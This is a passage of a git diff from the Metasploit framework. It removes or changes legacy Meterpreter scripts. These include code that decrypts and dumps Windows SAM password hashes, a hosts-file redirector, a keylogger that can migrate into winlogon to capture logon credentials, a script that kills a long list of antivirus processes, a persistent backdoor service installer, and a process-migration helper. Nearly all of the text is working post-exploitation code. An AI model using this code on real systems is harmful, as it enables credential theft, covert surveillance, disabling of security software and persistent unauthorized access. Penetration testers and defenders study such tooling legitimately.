- ok.close - users -end - -def decrypt_user_keys(hbootkey, users) - users.each_key do |rid| - user = users[rid] - - hashlm_enc = "" - hashnt_enc = "" - - hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc - - #Check if hashes exist (if 20, then we've got a hash) - lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false - nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false - - #If we have a hashes, then parse them (Note: NT is dependant on LM) - hashlm_enc = user[:V][hoff + 4, 16] if lm_exists - hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists - - user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass) - user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass) - end - - users -end - -def decode_windows_hint(e_string) - d_string = "" - e_string.scan(/..../).each do |chunk| - bytes = chunk.scan(/../) - d_string += (bytes[1] + bytes[0]).to_s.hex.chr - end - d_string -end - -def convert_des_56_to_64(kstr) - key = [] - str = kstr.unpack("C*") - - key[0] = str[0] >> 1 - key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2) - key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3) - key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4) - key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5) - key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6) - key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7) - key[7] = str[6] & 0x7F - - 0.upto(7) do |i| - key[i] = ( key[i] << 1) - key[i] = @des_odd_parity[key[i]] - end - - key.pack("C*") -end - -def rid_to_key(rid) - - s1 = [rid].pack("V") - s1 << s1[0,3] - - s2b = [rid].pack("V").unpack("C4") - s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4") - s2 << s2[0,3] - - [convert_des_56_to_64(s1), convert_des_56_to_64(s2)] -end - -def decrypt_user_hash(rid, hbootkey, enchash, pass) - - if(enchash.empty?) - case pass - when @sam_lmpass - return @sam_empty_lm - when @sam_ntpass - return @sam_empty_nt - end - return "" - end - - des_k1, des_k2 = rid_to_key(rid) - - d1 = OpenSSL::Cipher::Cipher.new('des-ecb') - d1.padding = 0 - d1.key = des_k1 - - d2 = OpenSSL::Cipher::Cipher.new('des-ecb') - d2.padding = 0 - d2.key = des_k2 - - md5 = Digest::MD5.new - md5.update(hbootkey[0,16] + [rid].pack("V") + pass) - - rc4 = OpenSSL::Cipher::Cipher.new('rc4') - rc4.key = md5.digest - okey = rc4.update(enchash) - - d1o = d1.decrypt.update(okey[0,8]) - d1o << d1.final - - d2o = d2.decrypt.update(okey[8,8]) - d1o << d2.final - d1o + d2o -end -if client.platform =~ /win32|win64/ - begin - - print_status("Obtaining the boot key...") - bootkey = capture_boot_key - - print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...") - hbootkey = capture_hboot_key(bootkey) - - print_status("Obtaining the user list and keys...") - users = capture_user_keys - - print_status("Decrypting user keys...") - users = decrypt_user_keys(hbootkey, users) - - print_status("Dumping password hints...") - print_line() - hint_count = 0 - users.keys.sort{|a,b| a<=>b}.each do |rid| - #If we have a hint then print it - if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0 - print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\"" - hint_count += 1 - end - end - print_line("No users with password hints on this system") if hint_count == 0 - print_line() - - print_status("Dumping password hashes...") - print_line() - print_line() - users.keys.sort{|a,b| a<=>b}.each do |rid| - hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::" - @client.framework.db.report_auth_info( - :host => client.sock.peerhost, - :port => smb_port, - :sname => 'smb', - :user => users[rid][:Name], - :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], - :type => "smb_hash" - ) - - print_line hashstring - - end - print_line() - print_line() - - rescue ::Interrupt - raise $! - rescue ::Rex::Post::Meterpreter::RequestError => e - print_error("Meterpreter Exception: #{e.class} #{e}") - print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)") - rescue ::Exception => e - print_error("Error: #{e.class} #{e} #{e.backtrace}") - end -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/hostsedit.rb b/scripts/meterpreter/hostsedit.rb deleted file mode 100644 index 03694044e9..0000000000 --- a/scripts/meterpreter/hostsedit.rb +++ /dev/null @@ -1,108 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - - -# Meterpreter script for modifying the hosts file in windows -# given a single entrie or several in a file and clear the -# DNS cache on the target machine. -# This script works with Windows 2000,Windows XP,Windows 2003, -# Windows Vista and Windows 2008. -# Provided: carlos_perez[at]darkoperator[dot]com -# Version: 0.1.0 -# Note: in Vista UAC must be disabled to be able to perform hosts -# file modifications. -################## Variable Declarations ################## -session = client -# Setting Arguments -@@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help Options." ], - "-e" => [ true, "Host entry in the format of IP,Hostname." ], - "-l" => [ true, "Text file with list of entries in the format of IP,Hostname. One per line." ] -) -def usage - print_line("This Meterpreter script is for adding entries in to the Windows Hosts file.") - print_line("Since Windows will check first the Hosts file instead of the configured DNS Server") - print_line("it will assist in diverting traffic to the fake entry or entries. Either a single") - print_line("entry can be provided or a series of entries provided a file with one per line.") - print_line(@@exec_opts.usage) - print_line("Example:\n\n") - print_line("run hostsedit -e 127.0.0.1,google.com\n") - print_line("run hostsedit -l /tmp/fakednsentries.txt\n\n") - raise Rex::Script::Completed -end - - -record = "" -#Set path to the hosts file -hosts = session.sys.config.getenv('SYSTEMROOT')+"\\System32\\drivers\\etc\\hosts" -#Function check if UAC is enabled -def checkuac(session) - winver = session.sys.config.sysinfo - if winver["OS"] =~ (/Windows 7|Vista/) - print_status("Checking if UAC is enabled.") - open_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", KEY_READ) - value = open_key.query_value("EnableLUA").data - if value == 1 - print_status("\tUAC is enabled") - raise "Unable to continue UAC is enabbled." - else - print_status("\tUAC is disabled") - status = false - end - end -end -#Function for adding record to hosts file -def add2hosts(session,record,hosts) - ip,host = record.split(",") - print_status("Adding Record for Host #{host} with IP #{ip}") - session.sys.process.execute("cmd /c echo #{ip}\t#{host} >> #{hosts}",nil, {'Hidden' => true}) -end - -#Make a backup of the hosts file on the target -def backuphosts(session,hosts) - random = sprintf("%.5d",rand(100000)) - print_status("Making Backup of the hosts file.") - session.sys.process.execute("cmd /c copy #{hosts} #{hosts}#{random}.back",nil, {'Hidden' => true}) - print_status("Backup loacated in #{hosts}#{random}.back") -end -# Clear DNS Cached entries -def cleardnscach(session) - print_status("Clearing the DNS Cache") - session.sys.process.execute("cmd /c ipconfig /flushdns",nil, {'Hidden' => true}) -end -if client.platform =~ /win32|win64/ - @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-e" - checkuac(session) - backuphosts(session,hosts) - add2hosts(session,val,hosts) - cleardnscach(session) - when "-l" - checkuac(session) - if not ::File.exist?(val) - raise "File #{val} does not exists!" - else - backuphosts(session,hosts) - ::File.open(val, "r").each_line do |line| - next if line.strip.length < 1 - next if line[0,1] == "#" - add2hosts(session,line.chomp,hosts) - end - cleardnscach(session) - end - when "-h" - usage - end - } - if args.length == 0 - usage - end -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/keylogrecorder.rb b/scripts/meterpreter/keylogrecorder.rb deleted file mode 100644 index 3ddb44fdda..0000000000 --- a/scripts/meterpreter/keylogrecorder.rb +++ /dev/null @@ -1,212 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - - -# Author: Carlos Perez at carlos_perez[at]darkoperator.com -# Updates by Shellster -#------------------------------------------------------------------------------- -session = client -# Script Options -@@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ], - "-c" => [ true, "Type of key capture. (0) for user key presses, (1) for winlogon credential capture, or (2) for no migration. Default is 2." ], - "-l" => [ false, "Lock screen when capturing Winlogon credentials."], - "-k" => [ false, "Kill old Process"] -) -def usage - print_line("Keylogger Recorder Meterpreter Script") - print_line("This script will start the Meterpreter Keylogger and save all keys") - print_line("in a log file for later anlysis. To stop capture hit Ctrl-C") - print_line("Usage:" + @@exec_opts.usage) - raise Rex::Script::Completed -end - - -#Get Hostname -host,port = session.session_host, session.session_port - -# Create Filename info to be appended to downloaded files -filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - -# Create a directory for the logs -logs = ::File.join(Msf::Config.log_directory, 'scripts', 'keylogrecorder') - -# Create the log directory -::FileUtils.mkdir_p(logs) - -#logfile name -logfile = logs + ::File::Separator + host + filenameinfo + ".txt" - -#Interval for collecting Keystrokes in seconds -keytime = 30 - -#Type of capture -captype = 2 -# Function for locking the screen -- Thanks for the idea and API call Mubix -def lock_screen - print_status("Locking Screen...") - lock_info = client.railgun.user32.LockWorkStation() - if lock_info["GetLastError"] == 0 - print_status("Screen has been locked") - else - print_error("Screen lock Failed") - end -end -#Function to Migrate in to Explorer process to be able to interact with desktop -def explrmigrate(session,captype,lock,kill) - #begin - if captype.to_i == 0 - process2mig = "explorer.exe" - elsif captype.to_i == 1 - if is_uac_enabled? - print_error("UAC is enabled on this host! Winlogon migration will be blocked.") - raise Rex::Script::Completed - end - process2mig = "winlogon.exe" - if lock - lock_screen - end - else - process2mig = "explorer.exe" - end - # Actual migration - mypid = session.sys.process.getpid - session.sys.process.get_processes().each do |x| - if (process2mig.index(x['name'].downcase) and x['pid'] != mypid) - print_status("\t#{process2mig} Process found, migrating into #{x['pid']}") - session.core.migrate(x['pid'].to_i) - print_status("Migration Successful!!") - - if (kill) - begin - print_status("Killing old process") - client.sys.process.kill(mypid) - print_status("Old process killed.") - rescue - print_status("Failed to kill old process.") - end - end - end - end - return true - # rescue - # print_status("Failed to migrate process!") - # return false - # end -end - -#Function for starting the keylogger -def startkeylogger(session) - begin - #print_status("Grabbing Desktop Keyboard Input...") - #session.ui.grab_desktop - print_status("Starting the keystroke sniffer...") - session.ui.keyscan_start - return true - rescue - print_status("Failed to start Keylogging!") - return false - end -end - -def write_keylog_data session, logfile - data = session.ui.keyscan_dump - outp = "" - data.unpack("n*").each do |inp| - fl = (inp & 0xff00) >> 8 - vk = (inp & 0xff) - kc = VirtualKeyCodes[vk] - - f_shift = fl & (1<<1) - f_ctrl = fl & (1<<2) - f_alt = fl & (1<<3) - - if(kc) - name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0]) - case name - when /^.$/ - outp << name - when /shift|click/i - when 'Space' - outp << " " - else - outp << " <#{name}> " - end - else - outp << " <0x%.2x> " % vk - end - end - - sleep(2) - - if(outp.length > 0) - file_local_write(logfile,"#{outp}\n") - end -end - -# Function for Collecting Capture -def keycap(session, keytime, logfile) - begin - rec = 1 - #Creating DB for captured keystrokes - file_local_write(logfile,"") - - print_status("Keystrokes being saved in to #{logfile}") - #Inserting keystrokes every number of seconds specified - print_status("Recording ") - while rec == 1 - #getting and writing Keystrokes - write_keylog_data session, logfile - - sleep(keytime.to_i) - end - rescue::Exception => e - print_status "Saving last few keystrokes" - write_keylog_data session, logfile - - print("\n") - print_status("#{e.class} #{e}") - print_status("Stopping keystroke sniffer...") - session.ui.keyscan_stop - end -end - -# Parsing of Options - -helpcall = 0 -lock = false -kill = false - -@@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-t" - keytime = val - when "-c" - captype = val - when "-h" - usage - when "-l" - lock = true - when "-k" - kill = true - end -} -if client.platform =~ /win32|win64/ - if (captype.to_i == 2) - if startkeylogger(session) - keycap(session, keytime, logfile) - end - elsif explrmigrate(session,captype,lock, kill) - if startkeylogger(session) - keycap(session, keytime, logfile) - end - end -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/killav.rb b/scripts/meterpreter/killav.rb deleted file mode 100644 index 8e305dcd58..0000000000 --- a/scripts/meterpreter/killav.rb +++ /dev/null @@ -1,619 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - - -# -# Meterpreter script that kills all Antivirus processes -# Provided by: Jerome Athias -# - -@@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] -) -def usage - print_line("Usage:" + @@exec_opts.usage) - raise Rex::Script::Completed -end - -@@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - end -} - -print_status("Killing Antivirus services on the target...") - -avs = %W{ - AAWTray.exe - Ad-Aware.exe - MSASCui.exe - _avp32.exe - _avpcc.exe - _avpm.exe - aAvgApi.exe - ackwin32.exe - adaware.exe - advxdwin.exe - agentsvr.exe - agentw.exe - alertsvc.exe - alevir.exe - alogserv.exe - amon9x.exe - anti-trojan.exe - antivirus.exe - ants.exe - apimonitor.exe - aplica32.exe - apvxdwin.exe - arr.exe - atcon.exe - atguard.exe - atro55en.exe - atupdater.exe - atwatch.exe - au.exe - aupdate.exe - auto-protect.nav80try.exe - autodown.exe - autotrace.exe - autoupdate.exe - avconsol.exe - ave32.exe - avgcc32.exe - avgctrl.exe - avgemc.exe - avgnt.exe - avgrsx.exe - avgserv.exe - avgserv9.exe - avguard.exe - avgw.exe - avkpop.exe - avkserv.exe - avkservice.exe - avkwctl9.exe - avltmain.exe - avnt.exe - avp.exe - avp.exe - avp32.exe - avpcc.exe - avpdos32.exe - avpm.exe - avptc32.exe - avpupd.exe - avsched32.exe - avsynmgr.exe - avwin.exe - avwin95.exe - avwinnt.exe - avwupd.exe - avwupd32.exe - avwupsrv.exe - avxmonitor9x.exe - avxmonitornt.exe - avxquar.exe - backweb.exe - bargains.exe - bd_professional.exe - beagle.exe - belt.exe - bidef.exe - bidserver.exe - bipcp.exe - bipcpevalsetup.exe - bisp.exe - blackd.exe - blackice.exe - blink.exe - blss.exe - bootconf.exe - bootwarn.exe - borg2.exe - bpc.exe - brasil.exe - bs120.exe - bundle.exe - bvt.exe - ccapp.exe - ccevtmgr.exe - ccpxysvc.exe - cdp.exe - cfd.exe - cfgwiz.exe - cfiadmin.exe - cfiaudit.exe - cfinet.exe - cfinet32.exe - claw95.exe - claw95cf.exe - clean.exe - cleaner.exe - cleaner3.exe - cleanpc.exe - click.exe - cmd.exe - cmd32.exe - cmesys.exe - cmgrdian.exe - cmon016.exe - connectionmonitor.exe - cpd.exe - cpf9x206.exe - cpfnt206.exe - ctrl.exe - cv.exe - cwnb181.exe - cwntdwmo.exe - datemanager.exe - dcomx.exe - defalert.exe - defscangui.exe - defwatch.exe - deputy.exe - divx.exe - dllcache.exe - dllreg.exe - doors.exe - dpf.exe - dpfsetup.exe - dpps2.exe - drwatson.exe - drweb32.exe - drwebupw.exe - dssagent.exe - dvp95.exe - dvp95_0.exe - ecengine.exe - efpeadm.exe - emsw.exe - ent.exe - esafe.exe - escanhnt.exe - escanv95.exe - espwatch.exe - ethereal.exe - etrustcipe.exe - evpn.exe - exantivirus-cnet.exe - exe.avxw.exe - expert.exe - explore.exe - f-agnt95.exe - f-prot.exe - f-prot95.exe - f-stopw.exe - fameh32.exe - fast.exe - fch32.exe - fih32.exe - findviru.exe - firewall.exe - fnrb32.exe - fp-win.exe - fp-win_trial.exe - fprot.exe - frw.exe - fsaa.exe - fsav.exe - fsav32.exe - fsav530stbyb.exe - fsav530wtbyb.exe - fsav95.exe - fsgk32.exe - fsm32.exe - fsma32.exe - fsmb32.exe - gator.exe - gbmenu.exe - gbpoll.exe - generics.exe - gmt.exe - guard.exe - guarddog.exe - hacktracersetup.exe - hbinst.exe - hbsrv.exe - hotactio.exe - hotpatch.exe - htlog.exe - htpatch.exe - hwpe.exe - hxdl.exe - hxiul.exe - iamapp.exe - iamserv.exe - iamstats.exe - ibmasn.exe - ibmavsp.exe - icload95.exe - icloadnt.exe - icmon.exe - icsupp95.exe - icsuppnt.exe - idle.exe - iedll.exe - iedriver.exe - iexplorer.exe - iface.exe - ifw2000.exe - inetlnfo.exe - infus.exe - infwin.exe - init.exe - intdel.exe - intren.exe - iomon98.exe - istsvc.exe - jammer.exe - jdbgmrg.exe - jedi.exe - kavlite40eng.exe - kavpers40eng.exe - kavpf.exe - kazza.exe - keenvalue.exe - kerio-pf-213-en-win.exe - kerio-wrl-421-en-win.exe - kerio-wrp-421-en-win.exe - kernel32.exe - killprocesssetup161.exe - launcher.exe - ldnetmon.exe - ldpro.exe - ldpromenu.exe - ldscan.exe - lnetinfo.exe - loader.exe - localnet.exe - lockdown.exe - lockdown2000.exe - lookout.exe - lordpe.exe - lsetup.exe - luall.exe - luau.exe - lucomserver.exe - luinit.exe - luspt.exe - mapisvc32.exe - mcagent.exe - mcmnhdlr.exe - mcshield.exe - mctool.exe - mcupdate.exe - mcvsrte.exe - mcvsshld.exe - md.exe - mfin32.exe - mfw2en.exe - mfweng3.02d30.exe - mgavrtcl.exe - mgavrte.exe - mghtml.exe - mgui.exe - minilog.exe - mmod.exe - monitor.exe - moolive.exe - mostat.exe - mpfagent.exe - mpfservice.exe - mpftray.exe - mrflux.exe - msapp.exe - msbb.exe - msblast.exe - mscache.exe - msccn32.exe - mscman.exe - msconfig.exe - msdm.exe - msdos.exe - msiexec16.exe - msinfo32.exe - mslaugh.exe - msmgt.exe - msmsgri32.exe - mssmmc32.exe - mssys.exe - msvxd.exe - mu0311ad.exe - mwatch.exe - n32scanw.exe - nav.exe - navap.navapsvc.exe - navapsvc.exe - navapw32.exe - navdx.exe - navlu32.exe - navnt.exe - navstub.exe - navw32.exe - navwnt.exe - nc2000.exe - ncinst4.exe - ndd32.exe - neomonitor.exe - neowatchlog.exe - netarmor.exe - netd32.exe - netinfo.exe - netmon.exe - netscanpro.exe - netspyhunter-1.2.exe - netstat.exe - netutils.exe - nisserv.exe - nisum.exe - nmain.exe - nod32.exe - normist.exe - norton_internet_secu_3.0_407.exe - notstart.exe - npf40_tw_98_nt_me_2k.exe - npfmessenger.exe - nprotect.exe - npscheck.exe - npssvc.exe - nsched32.exe - nssys32.exe - nstask32.exe - nsupdate.exe - nt.exe - ntrtscan.exe - ntvdm.exe - ntxconfig.exe - nui.exe - nupgrade.exe - nvarch16.exe - nvc95.exe - nvsvc32.exe - nwinst4.exe - nwservice.exe - nwtool16.exe - ollydbg.exe - onsrvr.exe - optimize.exe - ostronet.exe - otfix.exe - outpost.exe - outpostinstall.exe - outpostproinstall.exe - padmin.exe - panixk.exe - patch.exe - pavcl.exe - pavproxy.exe - pavsched.exe - pavw.exe - pccwin98.exe - pcfwallicon.exe - pcip10117_0.exe - pcscan.exe - pdsetup.exe - periscope.exe - persfw.exe - perswf.exe - pf2.exe - pfwadmin.exe - pgmonitr.exe - pingscan.exe - platin.exe - pop3trap.exe - poproxy.exe - popscan.exe - portdetective.exe - portmonitor.exe - powerscan.exe - ppinupdt.exe - pptbc.exe - ppvstop.exe - prizesurfer.exe - prmt.exe - prmvr.exe - procdump.exe - processmonitor.exe - procexplorerv1.0.exe - programauditor.exe - proport.exe - protectx.exe - pspf.exe - purge.exe - qconsole.exe - qserver.exe - rapapp.exe - rav7.exe - rav7win.exe - rav8win32eng.exe - ray.exe - rb32.exe - rcsync.exe - realmon.exe - reged.exe - regedit.exe - regedt32.exe - rescue.exe - rescue32.exe - rrguard.exe - rshell.exe - rtvscan.exe - rtvscn95.exe - rulaunch.exe - run32dll.exe - rundll.exe - rundll16.exe - ruxdll32.exe - safeweb.exe - sahagent.exe - save.exe - savenow.exe - sbserv.exe - sc.exe - scam32.exe - scan32.exe - scan95.exe - scanpm.exe - scrscan.exe - serv95.exe - setup_flowprotector_us.exe - setupvameeval.exe - sfc.exe - sgssfw32.exe - sh.exe - shellspyinstall.exe - shn.exe - showbehind.exe - smc.exe - sms.exe - smss32.exe - soap.exe - sofi.exe - sperm.exe - spf.exe - sphinx.exe - spoler.exe - spoolcv.exe - spoolsv32.exe - spyxx.exe - srexe.exe - srng.exe - ss3edit.exe - ssg_4104.exe - ssgrate.exe - st2.exe - start.exe - stcloader.exe - supftrl.exe - support.exe - supporter5.exe - svc.exe - svchostc.exe - svchosts.exe - svshost.exe - sweep95.exe - sweepnet.sweepsrv.sys.swnetsup.exe - symproxysvc.exe - symtray.exe - sysedit.exe - system.exe - system32.exe - sysupd.exe - taskmg.exe - taskmgr.exe - taskmo.exe - taskmon.exe - taumon.exe - tbscan.exe - tc.exe - tca.exe - tcm.exe - tds-3.exe - tds2-98.exe - tds2-nt.exe - teekids.exe - tfak.exe - tfak5.exe - tgbob.exe - titanin.exe - titaninxp.exe - tracert.exe - trickler.exe - trjscan.exe - trjsetup.exe - trojantrap3.exe - tsadbot.exe - tvmd.exe - tvtmd.exe - undoboot.exe - updat.exe - update.exe - upgrad.exe - utpost.exe - vbcmserv.exe - vbcons.exe - vbust.exe - vbwin9x.exe - vbwinntw.exe - vcsetup.exe - vet32.exe - vet95.exe - vettray.exe - vfsetup.exe - vir-help.exe - virusmdpersonalfirewall.exe - vnlan300.exe - vnpc3000.exe - vpc32.exe - vpc42.exe - vpfw30s.exe - vptray.exe - vscan40.exe - vscenu6.02d30.exe - vsched.exe - vsecomr.exe - vshwin32.exe - vsisetup.exe - vsmain.exe - vsmon.exe - vsstat.exe - vswin9xe.exe - vswinntse.exe - vswinperse.exe - w32dsm89.exe - w9x.exe - watchdog.exe - webdav.exe - webscanx.exe - webtrap.exe - wfindv32.exe - whoswatchingme.exe - wimmun32.exe - win-bugsfix.exe - win32.exe - win32us.exe - winactive.exe - window.exe - windows.exe - wininetd.exe - wininitx.exe - winlogin.exe - winmain.exe - winnet.exe - winppr32.exe - winrecon.exe - winservn.exe - winssk32.exe - winstart.exe - winstart001.exe - wintsk32.exe - winupdate.exe - wkufind.exe - wnad.exe - wnt.exe - wradmin.exe - wrctrl.exe - wsbgate.exe - wupdater.exe - wupdt.exe - wyvernworksfirewall.exe - xpf202en.exe - zapro.exe - zapsetup3001.exe - zatutor.exe - zonalm2601.exe - zonealarm.exe -} - -client.sys.process.get_processes().each do |x| - if (avs.index(x['name'].downcase)) - print_status("Killing off #{x['name']}...") - client.sys.process.kill(x['pid']) - end -end diff --git a/scripts/meterpreter/metsvc.rb b/scripts/meterpreter/metsvc.rb deleted file mode 100644 index 7eafcef435..0000000000 --- a/scripts/meterpreter/metsvc.rb +++ /dev/null @@ -1,139 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - - -# -# Meterpreter script for installing the meterpreter service -# - -session = client - -# -# Options -# -opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-r" => [ false, "Uninstall an existing Meterpreter service (files must be deleted manually)"], - "-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the service"] -) - -# Exec a command and return the results -def m_exec(session, cmd) - r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - b = "" - while(d = r.channel.read) - b << d - end - r.channel.close - r.close - b -end - -# -# Default parameters -# - -based = File.join(Msf::Config.data_directory, "meterpreter") -rport = 31337 -install = false -autoconn = false -remove = false -if client.platform =~ /win32|win64/ - - # - # Option parsing - # - opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_line(opts.usage) - raise Rex::Script::Completed - when "-A" - autoconn = true - when "-r" - remove = true - end - end - - # - # Create the persistent VBS - # - - if(not remove) - print_status("Creating a meterpreter service on port #{rport}") - else - print_status("Removing the existing Meterpreter service") - end - - # - # Upload to the filesystem - # - - tempdir = client.fs.file.expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8) - - print_status("Creating a temporary installation directory #{tempdir}...") - client.fs.dir.mkdir(tempdir) - - # Use an array of `from -> to` associations so that things - # such as metsrv can be copied from the appropriate location - # but named correctly on the target. - bins = { - 'metsrv.x86.dll' => 'metsrv.dll', - 'metsvc-server.exe' => nil, - 'metsvc.exe' => nil - } - - bins.each do |from, to| - next if (from != "metsvc.exe" and remove) - to ||= from - print_status(" >> Uploading #{from}...") - fd = client.fs.file.new(tempdir + "\\" + to, "wb") - path = (from == 'metsrv.x86.dll') ? MetasploitPayloads.meterpreter_path('metsrv','x86.dll') : File.join(based, from) - fd.write(::File.read(path, ::File.size(path))) - fd.close - end - - # - # Execute the agent - # - if(not remove) - print_status("Starting the service...") - client.fs.dir.chdir(tempdir) - data = m_exec(client, "metsvc.exe install-service") - print_line("\t#{data}") - else - print_status("Stopping the service...") - client.fs.dir.chdir(tempdir) - data = m_exec(client, "metsvc.exe remove-service") - print_line("\t#{data}") - end - - if(remove) - m_exec(client, "cmd.exe /c del metsvc.exe") - end - - # - # Setup the exploit/multi/handler if requested - # - if(autoconn) - print_status("Trying to connect to the Meterpreter service at #{client.session_host}:#{rport}...") - mul = client.framework.exploits.create("multi/handler") - mul.datastore['WORKSPACE'] = client.workspace - mul.datastore['PAYLOAD'] = "windows/metsvc_bind_tcp" - mul.datastore['LPORT'] = rport - mul.datastore['RHOST'] = client.session_host - mul.datastore['ExitOnSession'] = false - mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true - ) - end - -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/migrate.rb b/scripts/meterpreter/migrate.rb deleted file mode 100644 index c8d1a1760b..0000000000 --- a/scripts/meterpreter/migrate.rb +++ /dev/null @@ -1,96 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - - -# -# Simple example script that migrates to a specific process by name. -# This is meant as an illustration. -# - - -spawn = false -kill = false -target_pid = nil -target_name = nil - -opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-f" => [ false, "Launch a process and migrate into the new process"], - "-p" => [ true , "PID to migrate to."], - "-k" => [ false, "Kill original process."], - "-n" => [ true, "Migrate into the first process with this executable name (explorer.exe)" ] -) - -opts.parse(args) { |opt, idx, val| - case opt - when "-f" - spawn = true - when "-k" - kill = true - when "-p" - target_pid = val.to_i - when "-n" - target_name = val.to_s - when "-h" - print_line(opts.usage) - raise Rex::Script::Completed - else - print_line(opts.usage) - raise Rex::Script::Completed - end -} - -# Creates a temp notepad.exe to migrate to depending the architecture. -def create_temp_proc() - # Use the system path for executable to run - cmd = "notepad.exe" - # run hidden - proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) - return proc.pid -end - -# In case no option is provided show help -if args.length == 0 - print_line(opts.usage) - raise Rex::Script::Completed -end - -### Main ### - -if client.platform =~ /win32|win64/ - server = client.sys.process.open - original_pid = server.pid - print_status("Current server process: #{server.name} (#{server.pid})") - - if spawn - print_status("Spawning notepad.exe process to migrate to") - target_pid = create_temp_proc - end - - if target_name and not target_pid - target_pid = client.sys.process[target_name] - if not target_pid - print_status("Could not identify the process ID for #{target_name}") - raise Rex::Script::Completed - end - end - - begin - print_good("Migrating to #{target_pid}") - client.core.migrate(target_pid) - print_good("Successfully migrated to process #{}") - rescue ::Exception => e - print_error("Could not migrate in to process.") - print_error(e) - end - - if kill - print_status("Killing original process with PID #{original_pid}") - client.sys.process.kill(original_pid) - print_good("Successfully killed process with PID #{original_pid}") - end -end diff --git a/scripts/meterpreter/multi_console_command.rb b/scripts/meterpreter/multi_console_command.rb index 0cbb87993c..d456741102 100644 --- a/scripts/meterpreter/multi_console_command.rb +++ b/scripts/meterpreter/multi_console_command.rb @@ -17,40 +17,22 @@ # Setting Arguments @@exec_opts = Rex::Parser::Arguments.new( "-h" => [ false,"Help menu." ], + "-sl" => [ false,"Hide commands output for work in background sessions"], "-cl" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."], "-rc" => [ true,"Text file with list of commands, one per line."] ) -#Setting Argument variables commands = nil script = [] -help = 0 - -################## Function Declarations ################## -# Function for running a list of commands stored in a array, returs string -def list_con_exec(cmdlst) - print_status("Running Command List ...") - cmdout = "" - cmdlst.each do |cmd| - next if cmd.strip.length < 1 - next if cmd[0,1] == "#" - begin - print_status "\tRunning command #{cmd}" - @client.console.run_single(cmd) - rescue ::Exception => e - print_status("Error Running Command #{cmd}: #{e.class} #{e}") - end - end - cmdout -end - +help = false +silence = false def usage print_line("Console Multi Command Execution Meterpreter Script ") print_line(@@exec_opts.usage) raise Rex::Script::Completed end -################## Main ################## + @@exec_opts.parse(args) { |opt, idx, val| case opt @@ -68,14 +50,34 @@ end end when "-h" - help = 1 + help = true + when "-sl" + silence = true end } -if args.length == 0 or help == 1 or commands.nil? +if args.length == 0 or help or commands.nil? usage -else - list_con_exec(commands) - raise Rex::Script::Completed end +print_status("Running Command List ...") + +commands.each do |cmd| + next if cmd.strip.length < 1 + next if cmd[0,1] == "#" + begin + print_status "\tRunning command #{cmd}" + if silence + @client.console.disable_output = true + end + + @client.console.run_single(cmd) + + if silence + @client.console.disable_output = false + end + + rescue ::Exception => e + print_status("Error Running Command #{cmd}: #{e.class} #{e}") + end +end diff --git a/scripts/meterpreter/packetrecorder.rb b/scripts/meterpreter/packetrecorder.rb deleted file mode 100644 index 